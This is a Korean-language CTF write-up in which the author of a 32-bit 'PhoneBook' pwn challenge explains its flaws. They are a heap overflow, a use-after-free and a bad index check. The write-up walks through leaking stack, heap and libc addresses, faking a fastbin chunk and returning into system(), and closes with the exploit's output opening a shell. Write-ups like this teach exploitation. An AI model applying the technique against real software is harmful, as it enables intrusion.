PhoneBook

※ *이 문제는 fastbin을 사용하도록 의도한 문제이지만 delete함수에서 주소값 체크하는 것을 깜빡 해서 CTF 당일에는 의도와 다르게 풀렸습니다...*

[보호기법]

```
hoyong@ubuntu:~/Desktop/ctf1/fin2$ ../../checksec.sh --file ./phonebook
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   ./phonebook
```

[취약점 분석]

- **새로운 연락처를 만드는 부분**

```
printf("Name : ");
memset(&s, 0, 0x40u);
read(0, &s, 0x40u);
str_len = strlen(&s);
if ( str_len > 40 )
  v4 = 40;
else
  v4 = str_len + 1;
Rsize = v4;
v5 = *(void ***)(4 * *a2 + a1);
*v5 = malloc(v4);
memcpy(**(void ***)(4 * *a2 + a1), &s, Rsize + 1);
```

문자열을 0x40만큼 입력 받고 입력 받은 문자열이 40바이트 이상이면 40만큼, 40바이트 이하이면 문자열의 길이만큼 malloc을 해준다.

- **연락처를 삭제하는 부분**

```
if ( v6 > 0 && *a2 >= v6 )
{
  --v6;
  while ( *a2 - 1 > v6 )
  {
    v3 = strlen(**(const char ***)(4 * (v6 + 1) + a1));
    memcpy(**(void ***)(4 * v6 + a1), **(const void ***)(4 * (v6 + 1) + a1), v3);
    v4 = strlen(*(const char **)(*(_DWORD *)(4 * (v6 + 1) + a1) + 4));
    memcpy(*(void **)(*(_DWORD *)(4 * v6 + a1) + 4), *(const void **)(*(_DWORD *)(4 * (v6 + 1) + a1) + 4), v4);
    v5 = strlen(*(const char **)(*(_DWORD *)(4 * (v6 + 1) + a1) + 8));
    memcpy(*(void **)(*(_DWORD *)(4 * v6 + a1) + 8), *(const void **)(*(_DWORD *)(4 * (v6 + 1) + a1) + 8), v5);
    ++v6;
  }
  free(*(void **)(*(_DWORD *)(4 * (*a2 + 0x3FFFFFFF) + a1) + 8));
  free(*(void **)(*(_DWORD *)(4 * (*a2 + 0x3FFFFFFF) + a1) + 4));
  free(**(void ***)(4 * (*a2 + 0x3FFFFFFF) + a1));
  free(*(void **)(4 * (*a2 + 0x3FFFFFFF) + a1));
  result = (int)a2;
  --*a2;
}
```

중간에 있는 연락처를 삭제하면 뒷부분의 연락처를 앞부분으로 복사를 해주는데 이때 realloc을 해주지 않아 heap overflow가 일어난다.

또한 free를 해준 뒤에 초기화를 해주지 않아 uaf가 발생할 수 있다.

- **연락처를 수정하는 부분**

```
if ( --index >= 0 && *a2 >= index )
```

인덱스 체크를 제대로 하지 않아 uaf가 발생한다. (3개의 연락처가 있다면 1,2,3,4번이 수정이 가능함. 이때 4번은 삭제된 연락처).

```
else
{
  printf("Name : ");
  memset(&str, 0, 0x28u);
  if ( strlen(**(const char ***)(4 * a2 + a1)) > 0x28 )
    v3 = 40;
  else
    v3 = strlen(**(const char ***)(4 * a2 + a1)) + 1;
  nbytes = v3;
  read(0, &str, v3);
  v4 = strlen(&str);
  result = memcpy(**(void ***)(4 * a2 + a1), &str, v4 + 1);
}
```

이름을 수정하는 부분을 살펴보자. (나머지 모두 같음)

문자열의 원래 길이만큼 입력을 받고 입력 받은 문자열의 길이만큼 다시 써넣는다. 이때 문자열 길이의 최대값은 40바이트이다. 40바이트의 이름을 수정할 때의 Stack을 확인해보면 다음과 같다.

```
(gdb)
ccccccccccccccccccccccccccccccccccccccc
0x800012ed in ?? ()
(gdb) x/32x $esp
0xbffff5e0:     0x00000000      0xbffff5fc      0x00000028      0xb7fc0000
0xbffff5f0:     0xb7fc0ac0      0xb7fc0ac0      0xb7fc1898      0x63636363
0xbffff600:     0x63636363      0x63636363      0x63636363      0x63636363
0xbffff610:     0x63636363      0x63636363      0x63636363      0x63636363
0xbffff620:     0x0a636363      0x800017e9      0xbffff654      0x00000000
```

40바이트의 문자열 뒤에 바이너리의 주소와 Stack주소가 있는 것을 볼 수 있다. 이때 입력 받은 문자열의 길이를 strlen()함수로 재기 때문에 연락처의 이름에 바이너리의 주소와 스택의 주소가 복사된다. **-> Binary_base, Stack leak!!**

※ *대회 전날 안 사실이지만 Ubuntu 16.04에서는 스택 구조가 달라져 릭이 되지 않는다. 그래서 ubuntu14.04에서 풀으라고 공지를 해줘야 했다 ㅜㅜ*

- **출력하는 부분**

```
(gdb) x/64x 0x80004008
0x80004008:     0x80004028      0x80004068      0x800040b0      0x00000000
0x80004018:     0x00000000      0x00000000      0x00000000      0x00000011
0x80004028:     0x80004038      0x80004048      0x80004058      0x00000011
0x80004038:     0x61616161      0xb700000a      0xffffffff      0x00000011
0x80004048:     0x61616161      0x0000000a      0x800040a0      0x00000011
0x80004058:     0x61616161      0x0000000a      0x800040ac      0x00000011
0x80004068:     0x80004078      0x80004088      0x80004098      0x00000011
0x80004078:     0x62626262      0x0000000a      0x00000000      0x00000011
0x80004088:     0x62626262      0x0000000a      0x00000000      0x00000019
0x80004098:     0x62626262      0x62626262      0x62626262      0x0a626262
0x800040a8:     0x00000000      0x00000011      0x800040c0      0x800040d0
0x800040b8:     0x800040e0      0x00000011      0x63636363      0x0000000a
0x800040c8:     0x00000000      0x00000011      0x63636363      0x0000000a
0x800040d8:     0x00000000      0x00000011      0x63636363      0x0000000a
0x800040e8:     0x00000000      0x00020f19      0x00000000      0x00000000
```

연락처 3개를 만들었다. 이때 힙의 구조를 보면

[연락처들의 주소] [연락처1_맴버주소] [연락처1_맴버값] [연락처2_맴버주소]...

의 형식으로 되어있다. 여기서 heap overflow를 이용해 연락처의 맴버주소를 leak 할 수 있다.

```
(gdb) x/64x 0x80004008
0x80004008:     0x80004028      0x80004068      0x800040b0      0x00000000
0x80004018:     0x00000000      0x00000000      0x00000000      0x00000011
0x80004028:     0x80004038      0x80004048      0x80004058      0x00000011
0x80004038:     0x62626262      0xb700000a      0xffffffff      0x00000011
0x80004048:     0x62626262      0x0000000a      0x800040a0      0x00000011
0x80004058:     0x62626262      0x62626262      0x62626262      0x0a626262
0x80004068:     0x80004078      0x80004088      0x80004098      0x00000011
0x80004078:     0x63636363      0x0000000a      0x00000000      0x00000011
0x80004088:     0x63636363      0x0000000a      0x00000000      0x00000019
0x80004098:     0x63636363      0x6262620a      0x62626262      0x0a626262
0x800040a8:     0x00000000      0x00000011      0x800040b8      0x800040d0
0x800040b8:     0x800040e0      0x00000011      0x800040c8      0x0000000a
0x800040c8:     0x00000000      0x00000011      0x800040d8      0x0000000a
0x800040d8:     0x00000000      0x00000011      0x00000000      0x0000000a
0x800040e8:     0x00000000      0x00020f19      0x00000000      0x00000000
```

위에서 만든 3개의 연락처 중에서 첫 번째 연락처를 삭제했다.

```
<<1>>
Name : bbbb
Phone_number : bbbb
Birth : bbbbbbbbbbbbbbb
x@
<<2>>
Name : cccc
Phone_number : cccc
Birth : cccc
bbbbbbbbbb
```

->Heap leak!!

힙 주소를 릭한 뒤에 수정하는 메뉴에서 연락처 맴버주소를 변결할 수 있다. 위에서 릭한 Stack주소를 이용해 main의 ret부분을 릭 할 수 있다. **->libc leak!!**

```
_BOOL4 __cdecl Check_sec_11F4(signed int a1, signed int a2)
{
  return a1 >> 24 != a2 >> 24;
}
```

하지만 주소를 바꾼 뒤에 수정하는 것은 위 함수에서 주소를 검사하기 때문에 불가능하다.

※ *이 함수를 delete부분에도 넣어줬어야 했다 ㅜㅜ*

수정하는 부분에서 발생하는 uaf를 이용해 삭제된 연락처의 fd를 수정해서 fakechunk를 만들 수 있다. 연락처를 만드는 부분을 다시보자.

```
printf("Name : ");
memset(&s, 0, 0x40u);
read(0, &s, 0x40u);
str_len = strlen(&s);
if ( str_len > 40 )
  v4 = 40;
else
  v4 = str_len + 1;
Rsize = v4;
v5 = *(void ***)(4 * *a2 + a1);
*v5 = malloc(v4);
memcpy(**(void ***)(4 * *a2 + a1), &s, Rsize + 1);
```

입력 받은 문자열의 길이를 Stack의 지역변수에 저장한다. 이때 지역변수의 길이가 40바이트 이상이어도 할당은 40바이트로 고정된다. 따라서 처음 입력 받은 문자열의 길이를 저장하는 변수 위치에 fakechunk를 만들 수 있다. 해당 변수의 위치는 위에서 릭한 stack의 주소를 이용해 계산해서 구한다. 이렇게 fakechunk를 만들어서 연락처 추가 함수의 ret부분을 덮어쓰면 된다.

이때 연락처를 만드는 부분의 마지막 루틴을 보자.

```
for ( i = 0; *a2 > i; ++i )
{
  if ( strcmp(**(const char ***)(4 * i + a1), **(const char ***)(4 * *a2 + a1)) > 0 )
  {
    for ( j = *a2; j > i; --j )
      Swap_B5F(a1, j);
    break;
  }
}
+++a2;
```

연락처를 이름순에 따라 정렬하는 루틴이다. 이 함수의 두 번째 인자가 루프를 몇 번 돌지 결정을 하는데 연락처가 없는 부분을 참조하게 되면 return하기 전에 프로그램이 터져버린다. 따라 exploit 하기 위해서는 두 번째 인자의 값을 조작해 루틴을 조금만 돌거나 아예 돌지 않게 해줘야 한다. 이것을 주의해서 미리 계산해둔 system함수로 RTL을 하면 쉽게 쉘을 딸 수 있다.

위와 같이 하면 간단하게 exploit을 할 수 있다 ^^

```
hoyong@ubuntu:~/Desktop/ctf1/fin2$ python exploit.py
[+] Starting local process './phonebook': Done
leaked address : 0x800ae7e9
stack address : 0xbfa93f54
heap address : 0x81f830e8
/bin/sh address : 0x81f830c8
libc_start_main_ret : 0xb7591a83
Libc_base : 0xb7578000
system address : 0xb75b8190
[*] Switching to interactive mode

$ ls
exploit.py  flag  phonebook  phonebook.c  phone.txt
$
```